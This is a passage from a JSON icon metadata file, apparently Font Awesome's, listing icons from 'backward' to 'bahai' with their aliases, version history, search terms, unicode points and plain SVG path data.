        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 192H.1C2.7 117.9 41.3 52.9 99 14.1c13.3-8.9 30.8-4.3 39.9 8.8L256 192zm128-32c0-35.3 28.7-64 64-64h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0v64c0 25.2-5.8 50.2-17 73.5s-27.8 44.5-48.6 62.3s-45.5 32-72.7 41.6S253.4 416 224 416s-58.5-5-85.7-14.6s-51.9-23.8-72.7-41.6s-37.3-39-48.6-62.3S0 249.2 0 224l224 0 160 0V160zM80 416a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm240 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 192H.1C2.7 117.9 41.3 52.9 99 14.1c13.3-8.9 30.8-4.3 39.9 8.8L256 192zm128-32c0-35.3 28.7-64 64-64h32c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32 0v64c0 25.2-5.8 50.2-17 73.5s-27.8 44.5-48.6 62.3s-45.5 32-72.7 41.6S253.4 416 224 416s-58.5-5-85.7-14.6s-51.9-23.8-72.7-41.6s-37.3-39-48.6-62.3S0 249.2 0 224l224 0 160 0V160zM80 416a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm240 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["solid"]
  },
  "backward": {
    "aliases": {
      "unicodes": {
        "composite": ["23ea"],
        "secondary": ["10f04a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "double", "fast reverse button", "previous", "rewind"]
    },
    "styles": ["solid"],
    "unicode": "f04a",
    "label": "Backward",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4L288 214.3V256v41.7L459.5 440.6zM256 352V256 128 96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160C4.2 237.5 0 246.5 0 256s4.2 18.5 11.5 24.6l192 160c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4L288 214.3V256v41.7L459.5 440.6zM256 352V256 128 96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160C4.2 237.5 0 246.5 0 256s4.2 18.5 11.5 24.6l192 160c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V352z"
      }
    },
    "free": ["solid"]
  },
  "backward-fast": {
    "aliases": {
      "names": ["fast-backward"],
      "unicodes": {
        "composite": ["23ee"],
        "secondary": ["10f049"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "beginning",
        "first",
        "last track button",
        "previous",
        "previous scene",
        "previous track",
        "rewind",
        "start",
        "triangle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f049",
    "label": "Backward Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M493.6 445c-11.2 5.3-24.5 3.6-34.1-4.4L288 297.7V416c0 12.4-7.2 23.7-18.4 29s-24.5 3.6-34.1-4.4L64 297.7V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V214.3L235.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S288 83.6 288 96V214.3L459.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S512 83.6 512 96V416c0 12.4-7.2 23.7-18.4 29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M493.6 445c-11.2 5.3-24.5 3.6-34.1-4.4L288 297.7V416c0 12.4-7.2 23.7-18.4 29s-24.5 3.6-34.1-4.4L64 297.7V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V214.3L235.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S288 83.6 288 96V214.3L459.5 71.4c9.5-7.9 22.8-9.7 34.1-4.4S512 83.6 512 96V416c0 12.4-7.2 23.7-18.4 29z"
      }
    },
    "free": ["solid"]
  },
  "backward-step": {
    "aliases": {
      "names": ["step-backward"],
      "unicodes": {
        "secondary": ["10f048"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beginning", "first", "previous", "rewind", "start"]
    },
    "styles": ["solid"],
    "unicode": "f048",
    "label": "Backward Step",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M267.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160L64 241V96c0-17.7-14.3-32-32-32S0 78.3 0 96V416c0 17.7 14.3 32 32 32s32-14.3 32-32V271l11.5 9.6 192 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M267.5 440.6c9.5 7.9 22.8 9.7 34.1 4.4s18.4-16.6 18.4-29V96c0-12.4-7.2-23.7-18.4-29s-24.5-3.6-34.1 4.4l-192 160L64 241V96c0-17.7-14.3-32-32-32S0 78.3 0 96V416c0 17.7 14.3 32 32 32s32-14.3 32-32V271l11.5 9.6 192 160z"
      }
    },
    "free": ["solid"]
  },
  "bacon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f953"],
        "secondary": ["10f7e5"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bacon",
        "blt",
        "breakfast",
        "food",
        "ham",
        "lard",
        "meat",
        "pancetta",
        "pork",
        "rasher"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7e5",
    "label": "Bacon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M439.2 1.2c11.2-3.2 23.2-.1 31.4 8.1L518 56.7l-26.5 7.9c-58 16.6-98.1 39.6-129.6 67.4c-31.2 27.5-53.2 59.1-75.1 90.9l-2.3 3.3C241.6 288.7 195 356.6 72.8 417.7L37.9 435.2 9.4 406.6c-7.3-7.3-10.6-17.6-9-27.8s8.1-18.9 17.3-23.5C136.1 296.2 180.9 231 223.3 169.3l2.3-3.4c21.8-31.8 44.9-64.9 77.7-93.9c33.4-29.5 75.8-53.6 135.9-70.8zM61.8 459l25.4-12.7c129.5-64.7 179.9-138.1 223.8-202l2.2-3.3c22.1-32.1 42.1-60.5 69.9-85.1c27.5-24.3 63.4-45.2 117.3-60.6l0 0 .2-.1 43.1-12.9 23 23c8 8 11.2 19.7 8.3 30.7s-11.3 19.6-22.2 22.7c-51.9 14.8-85.6 34.7-111.1 57.2c-26.1 23-45.1 49.9-67.3 82.1l-2.2 3.2C327.8 365.9 275.5 442 142.3 508.6c-12.3 6.2-27.2 3.7-36.9-6L61.8 459z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M439.2 1.2c11.2-3.2 23.2-.1 31.4 8.1L518 56.7l-26.5 7.9c-58 16.6-98.1 39.6-129.6 67.4c-31.2 27.5-53.2 59.1-75.1 90.9l-2.3 3.3C241.6 288.7 195 356.6 72.8 417.7L37.9 435.2 9.4 406.6c-7.3-7.3-10.6-17.6-9-27.8s8.1-18.9 17.3-23.5C136.1 296.2 180.9 231 223.3 169.3l2.3-3.4c21.8-31.8 44.9-64.9 77.7-93.9c33.4-29.5 75.8-53.6 135.9-70.8zM61.8 459l25.4-12.7c129.5-64.7 179.9-138.1 223.8-202l2.2-3.3c22.1-32.1 42.1-60.5 69.9-85.1c27.5-24.3 63.4-45.2 117.3-60.6l0 0 .2-.1 43.1-12.9 23 23c8 8 11.2 19.7 8.3 30.7s-11.3 19.6-22.2 22.7c-51.9 14.8-85.6 34.7-111.1 57.2c-26.1 23-45.1 49.9-67.3 82.1l-2.2 3.2C327.8 365.9 275.5 442 142.3 508.6c-12.3 6.2-27.2 3.7-36.9-6L61.8 459z"
      }
    },
    "free": ["solid"]
  },
  "bacteria": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e059"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antibiotic",
        "antibody",
        "covid-19",
        "health",
        "organism",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e059",
    "label": "Bacteria",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M304.9 .7c-9.6-2.7-19.5 2.8-22.3 12.4l-4.3 15.2c-8.3-.6-16.8 0-25.2 1.9c-7.3 1.7-14.3 3.5-21.1 5.5l-5.5-12.7c-3.9-9.1-14.5-13.4-23.6-9.5s-13.4 14.5-9.5 23.6l4.4 10.4c-16.6 6.7-31.7 14.4-45.4 22.8L147 62c-5.5-8.3-16.7-10.5-25-5s-10.5 16.7-5 25l6 9c-13.7 11-25.5 22.8-35.8 34.9l-10-8c-7.8-6.2-19.1-5-25.3 2.8s-5 19.1 2.8 25.3L65.9 155c-1.8 2.8-3.5 5.7-5.1 8.5c-6.6 11.4-11.8 22.6-16 33l-8-3.2c-9.2-3.7-19.7 .8-23.4 10s.8 19.7 10 23.4l10.4 4.2c-.2 .8-.4 1.5-.5 2.3c-2.2 9.3-3.4 17.3-4.1 23.4c-.4 3.1-.6 5.7-.8 7.8c-.1 1.1-.1 2-.2 2.8l-.1 1.1 0 .5 0 .2 0 .1c0 0 0 .1 29.1 1l-.1 0L28 269.3c-.1 3.1 0 6.1 .2 9.1l-15.2 4.3C3.5 285.4-2 295.4 .7 304.9s12.7 15.1 22.3 12.4l15.6-4.5c7.6 13.6 18.9 25 32.6 32.6L66.7 361c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.3-12.4l4.3-15.2c1.2 .1 2.4 .2 3.6 .2c15.6 .5 30.3-3.3 43-10.2l9 9c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-7.2-7.2c9.3-12.6 15.2-27.8 16.3-44.5l7.1 3c9.1 3.9 19.7-.3 23.6-9.5s-.3-19.7-9.5-23.6l-8.6-3.7c6.4-9.9 17.3-22.4 36.9-33.3l1.3 4.4c2.7 9.6 12.7 15.1 22.3 12.4s15.1-12.7 12.4-22.3l-2.3-8.1c3.8-1.1 7.7-2.1 11.9-3.1c11.6-2.7 22.1-7.7 31.1-14.4l7.2 7.2c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-9-9c7.6-13.9 11.3-30.1 10.1-46.6l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3S370.6 64 361 66.7l-15.6 4.5c-7.7-13.9-19.1-25.1-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3zM112 272l-48-1.5 0 0c11.7 .4 27.3 .9 48 1.6zm16-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-48a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM322.7 489c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.2-12.4l4.3-15.2c8.3 .6 16.8 0 25.2-1.9c7.3-1.7 14.3-3.5 21.1-5.5l5.5 12.7c3.9 9.1 14.5 13.4 23.6 9.5s13.4-14.5 9.5-23.6l-4.4-10.4c16.6-6.7 31.7-14.4 45.4-22.8L493 450c5.5 8.3 16.7 10.5 25 5s10.5-16.7 5-25l-6-9c13.7-11 25.5-22.8 35.8-34.9l10 8c7.8 6.2 19.1 5 25.3-2.8s5-19.1-2.8-25.3L574.1 357c1.8-2.8 3.5-5.7 5.1-8.5c6.6-11.4 11.8-22.6 16-33l8 3.2c9.2 3.7 19.7-.8 23.4-10s-.8-19.7-10-23.4l-10.4-4.2c.2-.8 .4-1.5 .5-2.3c2.2-9.3 3.4-17.3 4.1-23.4c.4-3.1 .6-5.7 .8-7.8c.1-1.1 .1-2 .2-2.8l.1-1.1 0-.5 0-.2 0-.1c0 0 0-.1-29.1-1l.1 0 29.1 .9c.1-3.1 0-6.1-.2-9.1l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3s-12.7-15.1-22.3-12.4l-15.6 4.5c-7.6-13.6-18.9-25-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3s-19.5 2.8-22.3 12.4l-4.3 15.2c-1.2-.1-2.4-.2-3.6-.2c-15.6-.5-30.3 3.3-43 10.2l-9-9c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l7.2 7.2c-9.3 12.6-15.2 27.8-16.3 44.5l-7.1-3c-9.1-3.9-19.7 .3-23.6 9.5s.3 19.7 9.5 23.6l8.6 3.7c-6.4 9.9-17.3 22.4-36.9 33.3l-1.3-4.4c-2.7-9.6-12.7-15.1-22.3-12.4s-15.1 12.7-12.4 22.3l2.3 8.1c-3.8 1.1-7.7 2.1-11.9 3.1c-11.6 2.7-22.1 7.7-31.1 14.4l-7.2-7.2c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l9 9c-7.6 13.9-11.3 30.1-10.1 46.6l-15.2 4.3c-9.6 2.7-15.1 12.7-12.4 22.2s12.7 15.1 22.3 12.4l15.6-4.5c7.7 13.9 19.1 25.1 32.6 32.6L322.7 489zM576 241.5l0 0c-11.7-.4-27.3-.9-48-1.6l48 1.5zM448 384a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M304.9 .7c-9.6-2.7-19.5 2.8-22.3 12.4l-4.3 15.2c-8.3-.6-16.8 0-25.2 1.9c-7.3 1.7-14.3 3.5-21.1 5.5l-5.5-12.7c-3.9-9.1-14.5-13.4-23.6-9.5s-13.4 14.5-9.5 23.6l4.4 10.4c-16.6 6.7-31.7 14.4-45.4 22.8L147 62c-5.5-8.3-16.7-10.5-25-5s-10.5 16.7-5 25l6 9c-13.7 11-25.5 22.8-35.8 34.9l-10-8c-7.8-6.2-19.1-5-25.3 2.8s-5 19.1 2.8 25.3L65.9 155c-1.8 2.8-3.5 5.7-5.1 8.5c-6.6 11.4-11.8 22.6-16 33l-8-3.2c-9.2-3.7-19.7 .8-23.4 10s.8 19.7 10 23.4l10.4 4.2c-.2 .8-.4 1.5-.5 2.3c-2.2 9.3-3.4 17.3-4.1 23.4c-.4 3.1-.6 5.7-.8 7.8c-.1 1.1-.1 2-.2 2.8l-.1 1.1 0 .5 0 .2 0 .1c0 0 0 .1 29.1 1l-.1 0L28 269.3c-.1 3.1 0 6.1 .2 9.1l-15.2 4.3C3.5 285.4-2 295.4 .7 304.9s12.7 15.1 22.3 12.4l15.6-4.5c7.6 13.6 18.9 25 32.6 32.6L66.7 361c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.3-12.4l4.3-15.2c1.2 .1 2.4 .2 3.6 .2c15.6 .5 30.3-3.3 43-10.2l9 9c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-7.2-7.2c9.3-12.6 15.2-27.8 16.3-44.5l7.1 3c9.1 3.9 19.7-.3 23.6-9.5s-.3-19.7-9.5-23.6l-8.6-3.7c6.4-9.9 17.3-22.4 36.9-33.3l1.3 4.4c2.7 9.6 12.7 15.1 22.3 12.4s15.1-12.7 12.4-22.3l-2.3-8.1c3.8-1.1 7.7-2.1 11.9-3.1c11.6-2.7 22.1-7.7 31.1-14.4l7.2 7.2c7 7 18.4 7 25.5 0s7-18.4 0-25.5l-9-9c7.6-13.9 11.3-30.1 10.1-46.6l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3S370.6 64 361 66.7l-15.6 4.5c-7.7-13.9-19.1-25.1-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3zM112 272l-48-1.5 0 0c11.7 .4 27.3 .9 48 1.6zm16-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-48a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM322.7 489c-2.7 9.6 2.8 19.5 12.4 22.3s19.5-2.8 22.2-12.4l4.3-15.2c8.3 .6 16.8 0 25.2-1.9c7.3-1.7 14.3-3.5 21.1-5.5l5.5 12.7c3.9 9.1 14.5 13.4 23.6 9.5s13.4-14.5 9.5-23.6l-4.4-10.4c16.6-6.7 31.7-14.4 45.4-22.8L493 450c5.5 8.3 16.7 10.5 25 5s10.5-16.7 5-25l-6-9c13.7-11 25.5-22.8 35.8-34.9l10 8c7.8 6.2 19.1 5 25.3-2.8s5-19.1-2.8-25.3L574.1 357c1.8-2.8 3.5-5.7 5.1-8.5c6.6-11.4 11.8-22.6 16-33l8 3.2c9.2 3.7 19.7-.8 23.4-10s-.8-19.7-10-23.4l-10.4-4.2c.2-.8 .4-1.5 .5-2.3c2.2-9.3 3.4-17.3 4.1-23.4c.4-3.1 .6-5.7 .8-7.8c.1-1.1 .1-2 .2-2.8l.1-1.1 0-.5 0-.2 0-.1c0 0 0-.1-29.1-1l.1 0 29.1 .9c.1-3.1 0-6.1-.2-9.1l15.2-4.3c9.6-2.7 15.1-12.7 12.4-22.3s-12.7-15.1-22.3-12.4l-15.6 4.5c-7.6-13.6-18.9-25-32.6-32.6l4.5-15.6c2.7-9.6-2.8-19.5-12.4-22.3s-19.5 2.8-22.3 12.4l-4.3 15.2c-1.2-.1-2.4-.2-3.6-.2c-15.6-.5-30.3 3.3-43 10.2l-9-9c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l7.2 7.2c-9.3 12.6-15.2 27.8-16.3 44.5l-7.1-3c-9.1-3.9-19.7 .3-23.6 9.5s.3 19.7 9.5 23.6l8.6 3.7c-6.4 9.9-17.3 22.4-36.9 33.3l-1.3-4.4c-2.7-9.6-12.7-15.1-22.3-12.4s-15.1 12.7-12.4 22.3l2.3 8.1c-3.8 1.1-7.7 2.1-11.9 3.1c-11.6 2.7-22.1 7.7-31.1 14.4l-7.2-7.2c-7-7-18.4-7-25.5 0s-7 18.4 0 25.5l9 9c-7.6 13.9-11.3 30.1-10.1 46.6l-15.2 4.3c-9.6 2.7-15.1 12.7-12.4 22.2s12.7 15.1 22.3 12.4l15.6-4.5c7.7 13.9 19.1 25.1 32.6 32.6L322.7 489zM576 241.5l0 0c-11.7-.4-27.3-.9-48-1.6l48 1.5zM448 384a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z"
      }
    },
    "free": ["solid"]
  },
  "bacterium": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05a"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antibiotic",
        "antibody",
        "covid-19",
        "health",
        "organism",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e05a",
    "label": "Bacterium",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M423.1 30.6c3.6-12.7-3.7-26-16.5-29.7s-26 3.7-29.7 16.5l-4.2 14.7c-9.8-.4-19.9 .5-29.9 2.8c-12.1 2.8-23.7 5.9-34.9 9.4l-5.9-13.7c-5.2-12.2-19.3-17.8-31.5-12.6s-17.8 19.3-12.6 31.5l4.9 11.3c-22 9.4-42 20.1-60.2 31.8L196 82.7c-7.4-11-22.3-14-33.3-6.7s-14 22.3-6.7 33.3l7.8 11.6c-18 15-33.7 30.8-47.3 47.1L103 157.3c-10.4-8.3-25.5-6.6-33.7 3.7s-6.6 25.5 3.7 33.7l15 12c-2.1 3.2-4.1 6.5-6 9.7c-9.4 15.7-17 31-23.2 45.3l-9.9-3.9c-12.3-4.9-26.3 1.1-31.2 13.4s1.1 26.3 13.4 31.2l11.6 4.6c-.3 1.1-.6 2.1-.9 3.1c-3.5 12.5-5.7 23.2-7.1 31.3c-.7 4.1-1.2 7.5-1.6 10.3c-.2 1.4-.3 2.6-.4 3.6l-.1 1.4-.1 .6 0 .3 0 .1c0 0 0 .1 39.2 3.7l0 0-39.2-3.6c-.5 5-.6 10-.4 14.9l-14.7 4.2C4.7 380.6-2.7 393.8 .9 406.6s16.9 20.1 29.7 16.5l13.8-3.9c10.6 20.7 27.6 37.8 48.5 48.5l-3.9 13.7c-3.6 12.7 3.7 26 16.5 29.7s26-3.7 29.7-16.5l4.2-14.7c23.8 1 46.3-5.5 65.1-17.6L215 473c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c9.1-14.1 15.1-30.5 17-48.3l.1-.8c.3-1.7 1-5.1 2.3-9.8l.2-.8 12.6 5.4c12.2 5.2 26.3-.4 31.5-12.6s-.4-26.3-12.6-31.5l-11.3-4.8c9.9-14.9 24.9-31.6 48.6-46l2.1 7.5c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7L371 259.2c6.9-2.2 14.3-4.3 22.2-6.1c12.9-3 24.7-8 35.2-14.8L439 249c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c12.2-19 18.6-41.6 17.6-65.1l14.7-4.2c12.7-3.6 20.1-16.9 16.5-29.7s-16.9-20.1-29.7-16.5l-13.7 3.9c-10.8-21.2-28-38-48.5-48.5l3.9-13.8zM92.1 363.3l0 0L144 368l-51.9-4.7zM112 320a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM240 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M423.1 30.6c3.6-12.7-3.7-26-16.5-29.7s-26 3.7-29.7 16.5l-4.2 14.7c-9.8-.4-19.9 .5-29.9 2.8c-12.1 2.8-23.7 5.9-34.9 9.4l-5.9-13.7c-5.2-12.2-19.3-17.8-31.5-12.6s-17.8 19.3-12.6 31.5l4.9 11.3c-22 9.4-42 20.1-60.2 31.8L196 82.7c-7.4-11-22.3-14-33.3-6.7s-14 22.3-6.7 33.3l7.8 11.6c-18 15-33.7 30.8-47.3 47.1L103 157.3c-10.4-8.3-25.5-6.6-33.7 3.7s-6.6 25.5 3.7 33.7l15 12c-2.1 3.2-4.1 6.5-6 9.7c-9.4 15.7-17 31-23.2 45.3l-9.9-3.9c-12.3-4.9-26.3 1.1-31.2 13.4s1.1 26.3 13.4 31.2l11.6 4.6c-.3 1.1-.6 2.1-.9 3.1c-3.5 12.5-5.7 23.2-7.1 31.3c-.7 4.1-1.2 7.5-1.6 10.3c-.2 1.4-.3 2.6-.4 3.6l-.1 1.4-.1 .6 0 .3 0 .1c0 0 0 .1 39.2 3.7l0 0-39.2-3.6c-.5 5-.6 10-.4 14.9l-14.7 4.2C4.7 380.6-2.7 393.8 .9 406.6s16.9 20.1 29.7 16.5l13.8-3.9c10.6 20.7 27.6 37.8 48.5 48.5l-3.9 13.7c-3.6 12.7 3.7 26 16.5 29.7s26-3.7 29.7-16.5l4.2-14.7c23.8 1 46.3-5.5 65.1-17.6L215 473c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c9.1-14.1 15.1-30.5 17-48.3l.1-.8c.3-1.7 1-5.1 2.3-9.8l.2-.8 12.6 5.4c12.2 5.2 26.3-.4 31.5-12.6s-.4-26.3-12.6-31.5l-11.3-4.8c9.9-14.9 24.9-31.6 48.6-46l2.1 7.5c3.6 12.7 16.9 20.1 29.7 16.5s20.1-16.9 16.5-29.7L371 259.2c6.9-2.2 14.3-4.3 22.2-6.1c12.9-3 24.7-8 35.2-14.8L439 249c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-10.6-10.6c12.2-19 18.6-41.6 17.6-65.1l14.7-4.2c12.7-3.6 20.1-16.9 16.5-29.7s-16.9-20.1-29.7-16.5l-13.7 3.9c-10.8-21.2-28-38-48.5-48.5l3.9-13.8zM92.1 363.3l0 0L144 368l-51.9-4.7zM112 320a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM240 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "bag-shopping": {
    "aliases": {
      "names": ["shopping-bag"],
      "unicodes": {
        "secondary": ["10f290"]
      }
    },
    "changes": [
      "4.5.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buy", "checkout", "grocery", "payment", "purchase"]
    },
    "styles": ["solid"],
    "unicode": "f290",
    "label": "Bag Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 112c0-35.3 28.7-64 64-64s64 28.7 64 64v48H160V112zm-48 48H48c-26.5 0-48 21.5-48 48V416c0 53 43 96 96 96H352c53 0 96-43 96-96V208c0-26.5-21.5-48-48-48H336V112C336 50.1 285.9 0 224 0S112 50.1 112 112v48zm24 48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm152 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 112c0-35.3 28.7-64 64-64s64 28.7 64 64v48H160V112zm-48 48H48c-26.5 0-48 21.5-48 48V416c0 53 43 96 96 96H352c53 0 96-43 96-96V208c0-26.5-21.5-48-48-48H336V112C336 50.1 285.9 0 224 0S112 50.1 112 112v48zm24 48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm152 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "bahai": {
    "aliases": {
      "names": ["haykal"],
      "unicodes": {
        "secondary": ["10f666"]
      }
    },
    "changes": ["5.3.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bahai", "bahá'í", "star"]
    },
    "styles": ["solid"],
    "unicode": "f666",
    "label": "Bahai",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c14.5 0 27.2 9.7 30.9 23.8l23.9 89.6 75.9-53.3c11.9-8.3 27.8-7.6 39 1.7s14.6 24.9 8.4 38.1l-39.3 84 92.4 8c14.4 1.2 26.2 12 28.8 26.3s-4.9 28.5-18 34.6l-84.1 39.1 65.7 65.5c10.3 10.2 12.4 26.1 5.1 38.7s-22 18.7-36 14.9L391 386.8l8.2 92.4c1.3 14.4-7.3 27.9-20.9 32.9s-28.9 .1-37.2-11.7l-53.1-76-53.1 76c-8.3 11.9-23.6 16.7-37.2 11.7s-22.2-18.5-20.9-32.9l8.2-92.4L95.4 410.9c-14 3.8-28.8-2.3-36-14.9s-5.2-28.4 5.1-38.7l65.7-65.5L46 252.7c-13.1-6.1-20.5-20.3-18-34.6s14.3-25.1 28.8-26.3l92.4-8-39.3-84c-6.1-13.1-2.7-28.8 8.4-38.1s27.1-10 39-1.7l75.9 53.3 23.9-89.6C260.8 9.7 273.5 0 288 0zm0 156.2l-4.8 18c-2.7 10.1-10.2 18.2-20 21.8s-20.8 2.1-29.3-3.9l-15.2-10.7 7.9 16.8c4.4 9.5 4 20.5-1.3 29.6s-14.5 15-25 15.9l-18.5 1.6 16.8 7.8c9.5 4.4 16.2 13.2 18 23.5s-1.5 20.8-8.9 28.2l-13.2 13.1 17.9-4.8c10.1-2.7 20.9-.3 28.9 6.4s12.2 16.9 11.3 27.3l-1.6 18.5 10.6-15.2c6-8.6 15.8-13.7 26.2-13.7s20.2 5.1 26.2 13.7l10.6 15.2-1.6-18.5c-.9-10.4 3.3-20.6 11.3-27.3s18.8-9.1 28.9-6.4l17.9 4.8-13.2-13.1c-7.4-7.4-10.7-17.9-8.9-28.2s8.5-19.1 18-23.5l16.8-7.8-18.5-1.6c-10.4-.9-19.7-6.8-25-15.9s-5.7-20.1-1.3-29.6l7.9-16.8-15.2 10.7c-8.6 6-19.5 7.5-29.3 3.9s-17.3-11.7-20-21.8l-4.8-18z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
